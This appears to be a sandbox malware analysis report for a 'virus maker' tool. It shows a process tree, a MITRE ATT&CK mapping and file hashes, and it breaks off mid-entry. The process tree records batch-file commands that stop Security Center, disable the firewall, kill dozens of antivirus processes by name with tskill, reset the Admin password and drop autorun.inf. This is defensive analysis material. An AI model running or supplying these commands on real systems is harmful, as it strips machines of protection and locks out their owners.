"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff8eb03cb8,0x7fff8eb03cc8,0x7fff8eb03cd8
2⤵
PID:3968

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
2⤵
PID:2420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:260

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:8
2⤵
PID:4704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
2⤵
PID:4752

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
2⤵
PID:3028

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4860 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:1
2⤵
PID:3844

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2788 /prefetch:1
2⤵
PID:4732

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
2⤵
PID:3932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
2⤵
PID:2216

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:1
2⤵
PID:1656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
2⤵
PID:2584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
2⤵
PID:1892

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5800 /prefetch:1
2⤵
PID:4624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3876 /prefetch:1
2⤵
PID:3108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3860 /prefetch:1
2⤵
PID:2200

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4592 /prefetch:1
2⤵
PID:2428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5992 /prefetch:8
2⤵
PID:2552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=6004 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:3208

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
2⤵
PID:4672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
2⤵
PID:2848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
2⤵
PID:3884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6444 /prefetch:1
2⤵
PID:4996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5900 /prefetch:1
2⤵
PID:3552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6664 /prefetch:1
2⤵
PID:3036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5324 /prefetch:1
2⤵
PID:1080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6992 /prefetch:8
2⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:2788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,15083796721055954176,8518631136336747507,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6652 /prefetch:1
2⤵
PID:1832

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:252

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3128

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4992

C:\Users\Admin\AppData\Local\Temp\Temp1_Bhavesh Virus Maker v1.0.0.1.zip\Bhavesh Virus Maker\Bhavesh Virus Maker\bin\Debug\Bhavesh Virus Maker.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Bhavesh Virus Maker v1.0.0.1.zip\Bhavesh Virus Maker\Bhavesh Virus Maker\bin\Debug\Bhavesh Virus Maker.exe"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4320

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\adad.bat" "
1⤵
PID:1612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\wannadie.bat" "
1⤵
PID:1656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\wannadie.bat" "
1⤵
PID:2184

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\adad.bat" "
1⤵
PID:4072

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\dadadaadad.bat" "
1⤵
PID:4924

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:4920

C:\Windows\system32\net.exe
net stop "Security Center"
2⤵
PID:2628

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "Security Center"
3⤵
PID:2856

C:\Windows\system32\netsh.exe
netsh firewall set opmode mode=disable
2⤵
- Modifies Windows Firewall
PID:4456

C:\Windows\system32\tskill.exe
tskill /A av*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4644

C:\Windows\system32\tskill.exe
tskill /A fire*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2056

C:\Windows\system32\tskill.exe
tskill /A anti*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3336

C:\Windows\system32\tskill.exe
tskill /A spy*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3492

C:\Windows\system32\tskill.exe
tskill /A bullguard
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1068

C:\Windows\system32\tskill.exe
tskill /A PersFw
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1380

C:\Windows\system32\tskill.exe
tskill /A KAV*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4076

C:\Windows\system32\tskill.exe
tskill /A ZONEALARM
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1552

C:\Windows\system32\tskill.exe
tskill /A SAFEWEB
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1392

C:\Windows\system32\tskill.exe
tskill /A OUTPOST
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:804

C:\Windows\system32\tskill.exe
tskill /A nv*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2072

C:\Windows\system32\tskill.exe
tskill /A nav*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3728

C:\Windows\system32\tskill.exe
tskill /A F-*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:880

C:\Windows\system32\tskill.exe
tskill /A ESAFE
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3200

C:\Windows\system32\tskill.exe
tskill /A cle
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1016

C:\Windows\system32\tskill.exe
tskill /A BLACKICE
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:888

C:\Windows\system32\tskill.exe
tskill /A def*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3232

C:\Windows\system32\tskill.exe
tskill /A kav
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5116

C:\Windows\system32\tskill.exe
tskill /A kav*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2780

C:\Windows\system32\tskill.exe
tskill /A avg*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1924

C:\Windows\system32\tskill.exe
tskill /A ash*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2044

C:\Windows\system32\tskill.exe
tskill /A aswupdsv
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3972

C:\Windows\system32\tskill.exe
tskill /A ewid*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2364

C:\Windows\system32\tskill.exe
tskill /A guard*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4868

C:\Windows\system32\tskill.exe
tskill /A guar*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3160

C:\Windows\system32\tskill.exe
tskill /A msmp*
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3512

C:\Windows\system32\tskill.exe
tskill /A mcafe*
2⤵
PID:3932

C:\Windows\system32\tskill.exe
tskill /A mghtml
2⤵
PID:2496

C:\Windows\system32\tskill.exe
tskill /A msiexec
2⤵
PID:4672

C:\Windows\system32\tskill.exe
tskill /A outpost
2⤵
PID:3168

C:\Windows\system32\tskill.exe
tskill /A isafe
2⤵
PID:4740

C:\Windows\system32\tskill.exe
tskill /A zap*
2⤵
PID:3364

C:\Windows\system32\tskill.exe
tskill /A zauinst
2⤵
PID:452

C:\Windows\system32\tskill.exe
tskill /A upd*
2⤵
PID:4332

C:\Windows\system32\tskill.exe
tskill /A zlclien*
2⤵
PID:3184

C:\Windows\system32\tskill.exe
tskill /A minilog
2⤵
PID:2388

C:\Windows\system32\tskill.exe
tskill /A cc*
2⤵
PID:2816

C:\Windows\system32\tskill.exe
tskill /A norton*
2⤵
PID:3224

C:\Windows\system32\tskill.exe
tskill /A norton au*
2⤵
PID:2796

C:\Windows\system32\tskill.exe
tskill /A ccc*
2⤵
PID:2708

C:\Windows\system32\tskill.exe
tskill /A npfmn*
2⤵
PID:4876

C:\Windows\system32\tskill.exe
tskill /A loge*
2⤵
PID:2604

C:\Windows\system32\tskill.exe
tskill /A nisum*
2⤵
PID:648

C:\Windows\system32\tskill.exe
tskill /A issvc
2⤵
PID:3556

C:\Windows\system32\tskill.exe
tskill /A tmp*
2⤵
PID:3640

C:\Windows\system32\tskill.exe
tskill /A tmn*
2⤵
PID:2944

C:\Windows\system32\tskill.exe
tskill /A pcc*
2⤵
PID:3052

C:\Windows\system32\tskill.exe
tskill /A cpd*
2⤵
PID:2752

C:\Windows\system32\tskill.exe
tskill /A pop*
2⤵
PID:4884

C:\Windows\system32\tskill.exe
tskill /A pav*
2⤵
PID:3424

C:\Windows\system32\tskill.exe
tskill /A padmin
2⤵
PID:1296

C:\Windows\system32\tskill.exe
tskill /A panda*
2⤵
PID:4788

C:\Windows\system32\tskill.exe
tskill /A avsch*
2⤵
PID:1836

C:\Windows\system32\tskill.exe
tskill /A sche*
2⤵
PID:2312

C:\Windows\system32\tskill.exe
tskill /A syman*
2⤵
PID:3828

C:\Windows\system32\tskill.exe
tskill /A virus*
2⤵
PID:3080

C:\Windows\system32\tskill.exe
tskill /A realm*
2⤵
PID:4040

C:\Windows\system32\tskill.exe
tskill /A sweep*
2⤵
PID:1072

C:\Windows\system32\tskill.exe
tskill /A scan*
2⤵
PID:3488

C:\Windows\system32\tskill.exe
tskill /A ad-*
2⤵
PID:2244

C:\Windows\system32\tskill.exe
tskill /A safe*
2⤵
PID:676

C:\Windows\system32\tskill.exe
tskill /A avas*
2⤵
PID:3332

C:\Windows\system32\tskill.exe
tskill /A norm*
2⤵
PID:3808

C:\Windows\system32\tskill.exe
tskill /A offg*
2⤵
PID:2964

C:\Windows\regedit.exe
"regedit.exe" "C:\Users\Admin\Desktop\nokeyboard.reg"
1⤵
- Runs .reg file with regedit
PID:3128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\dadadaadad.bat" "
1⤵
- Drops autorun.inf file
PID:2704

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:348

C:\Windows\system32\net.exe
net stop "Security Center"
2⤵
PID:948

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "Security Center"
3⤵
PID:496

C:\Windows\system32\netsh.exe
netsh firewall set opmode mode=disable
2⤵
- Modifies Windows Firewall
PID:2420

C:\Windows\system32\tskill.exe
tskill /A av*
2⤵
PID:4812

C:\Windows\system32\tskill.exe
tskill /A fire*
2⤵
PID:4848

C:\Windows\system32\tskill.exe
tskill /A anti*
2⤵
PID:3576

C:\Windows\system32\tskill.exe
tskill /A spy*
2⤵
PID:772

C:\Windows\system32\tskill.exe
tskill /A bullguard
2⤵
PID:1880

C:\Windows\system32\tskill.exe
tskill /A PersFw
2⤵
PID:4832

C:\Windows\system32\tskill.exe
tskill /A KAV*
2⤵
PID:956

C:\Windows\system32\tskill.exe
tskill /A ZONEALARM
2⤵
PID:1940

C:\Windows\system32\tskill.exe
tskill /A SAFEWEB
2⤵
PID:2584

C:\Windows\system32\tskill.exe
tskill /A OUTPOST
2⤵
PID:5024

C:\Windows\system32\tskill.exe
tskill /A nv*
2⤵
PID:1076

C:\Windows\system32\tskill.exe
tskill /A nav*
2⤵
PID:848

C:\Windows\system32\tskill.exe
tskill /A F-*
2⤵
PID:1120

C:\Windows\system32\tskill.exe
tskill /A ESAFE
2⤵
PID:4036

C:\Windows\system32\tskill.exe
tskill /A cle
2⤵
PID:852

C:\Windows\system32\tskill.exe
tskill /A BLACKICE
2⤵
PID:4860

C:\Windows\system32\tskill.exe
tskill /A def*
2⤵
PID:4620

C:\Windows\system32\tskill.exe
tskill /A kav
2⤵
PID:2392

C:\Windows\system32\tskill.exe
tskill /A kav*
2⤵
PID:2808

C:\Windows\system32\tskill.exe
tskill /A avg*
2⤵
PID:4408

C:\Windows\system32\tskill.exe
tskill /A ash*
2⤵
PID:4824

C:\Windows\system32\tskill.exe
tskill /A aswupdsv
2⤵
PID:3196

C:\Windows\system32\tskill.exe
tskill /A ewid*
2⤵
PID:1628

C:\Windows\system32\tskill.exe
tskill /A guard*
2⤵
PID:3412

C:\Windows\system32\tskill.exe
tskill /A guar*
2⤵
PID:1388

C:\Windows\system32\tskill.exe
tskill /A msmp*
2⤵
PID:1116

C:\Windows\system32\tskill.exe
tskill /A mcafe*
2⤵
PID:3708

C:\Windows\system32\tskill.exe
tskill /A mghtml
2⤵
PID:2436

C:\Windows\system32\tskill.exe
tskill /A msiexec
2⤵
PID:3772

C:\Windows\system32\tskill.exe
tskill /A outpost
2⤵
PID:3680

C:\Windows\system32\tskill.exe
tskill /A isafe
2⤵
PID:3428

C:\Windows\system32\tskill.exe
tskill /A zap*
2⤵
PID:2976

C:\Windows\system32\tskill.exe
tskill /A zauinst
2⤵
PID:1596

C:\Windows\system32\tskill.exe
tskill /A upd*
2⤵
PID:3732

C:\Windows\system32\tskill.exe
tskill /A zlclien*
2⤵
PID:3404

C:\Windows\system32\tskill.exe
tskill /A minilog
2⤵
PID:5112

C:\Windows\system32\tskill.exe
tskill /A cc*
2⤵
PID:1952

C:\Windows\system32\tskill.exe
tskill /A norton*
2⤵
PID:2564

C:\Windows\system32\tskill.exe
tskill /A norton au*
2⤵
PID:4928

C:\Windows\system32\tskill.exe
tskill /A ccc*
2⤵
PID:1664

C:\Windows\system32\tskill.exe
tskill /A npfmn*
2⤵
PID:3676

C:\Windows\system32\tskill.exe
tskill /A loge*
2⤵
PID:4388

C:\Windows\system32\tskill.exe
tskill /A nisum*
2⤵
PID:3168

C:\Windows\system32\tskill.exe
tskill /A issvc
2⤵
PID:4740

C:\Windows\system32\tskill.exe
tskill /A tmp*
2⤵
PID:3364

C:\Windows\system32\tskill.exe
tskill /A tmn*
2⤵
PID:452

C:\Windows\system32\tskill.exe
tskill /A pcc*
2⤵
PID:4332

C:\Windows\system32\tskill.exe
tskill /A cpd*
2⤵
PID:3184

C:\Windows\system32\tskill.exe
tskill /A pop*
2⤵
PID:2388

C:\Windows\system32\tskill.exe
tskill /A pav*
2⤵
PID:2748

C:\Windows\system32\tskill.exe
tskill /A padmin
2⤵
PID:3088

C:\Windows\system32\tskill.exe
tskill /A panda*
2⤵
PID:1052

C:\Windows\system32\tskill.exe
tskill /A avsch*
2⤵
PID:1204

C:\Windows\system32\tskill.exe
tskill /A sche*
2⤵
PID:4236

C:\Windows\system32\tskill.exe
tskill /A syman*
2⤵
PID:3012

C:\Windows\system32\tskill.exe
tskill /A virus*
2⤵
PID:1156

C:\Windows\system32\tskill.exe
tskill /A realm*
2⤵
PID:3004

C:\Windows\system32\tskill.exe
tskill /A sweep*
2⤵
PID:1096

C:\Windows\system32\tskill.exe
tskill /A scan*
2⤵
PID:2912

C:\Windows\system32\tskill.exe
tskill /A ad-*
2⤵
PID:2040

C:\Windows\system32\tskill.exe
tskill /A safe*
2⤵
PID:1132

C:\Windows\system32\tskill.exe
tskill /A avas*
2⤵
PID:4328

C:\Windows\system32\tskill.exe
tskill /A norm*
2⤵
PID:4016

C:\Windows\system32\tskill.exe
tskill /A offg*
2⤵
PID:1452

C:\Windows\system32\net.exe
net user Admin Bhavesh
2⤵
PID:4816

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin Bhavesh
3⤵
PID:2376

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\wadawda.bat" "
1⤵
- Drops autorun.inf file
PID:4008

C:\Windows\system32\net.exe
net user Admin Bhavesh
2⤵
PID:2200

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin Bhavesh
3⤵
PID:4996

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4756

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
390187670cb1e0eb022f4f7735263e82

SHA1
ea1401ccf6bf54e688a0dc9e6946eae7353b26f1

SHA256
3e6c56356d6509a3fd4b2403555be55e251f4a962379b29735c1203e57230947

SHA512
602f64d74096d4fb7a23b23374603246d42b17cc854835e3b2f4d464997b73f289a3b40eb690e3ee707829d4ff886865e982f72155d96be6bc00166f44878062

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
8294f1821fd3419c0a42b389d19ecfc6

SHA1
cd4982751377c2904a1d3c58e801fa013ea27533

SHA256
92a96c9309023c8b9e1396ff41f7d9d3ff8a3687972e76b9ebd70b04e3bf223a

SHA512
372d369f7ad1b0e07200d3aa6b2cfce5beafa7a97f63932d4c9b3b01a0e8b7eb39881867f87ded55a9973abea973b2d2c9b6fc4892f81cec644702b9edb1566d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
2KB

MD5
aa68cb7aea86360b71565d3cae820920

SHA1
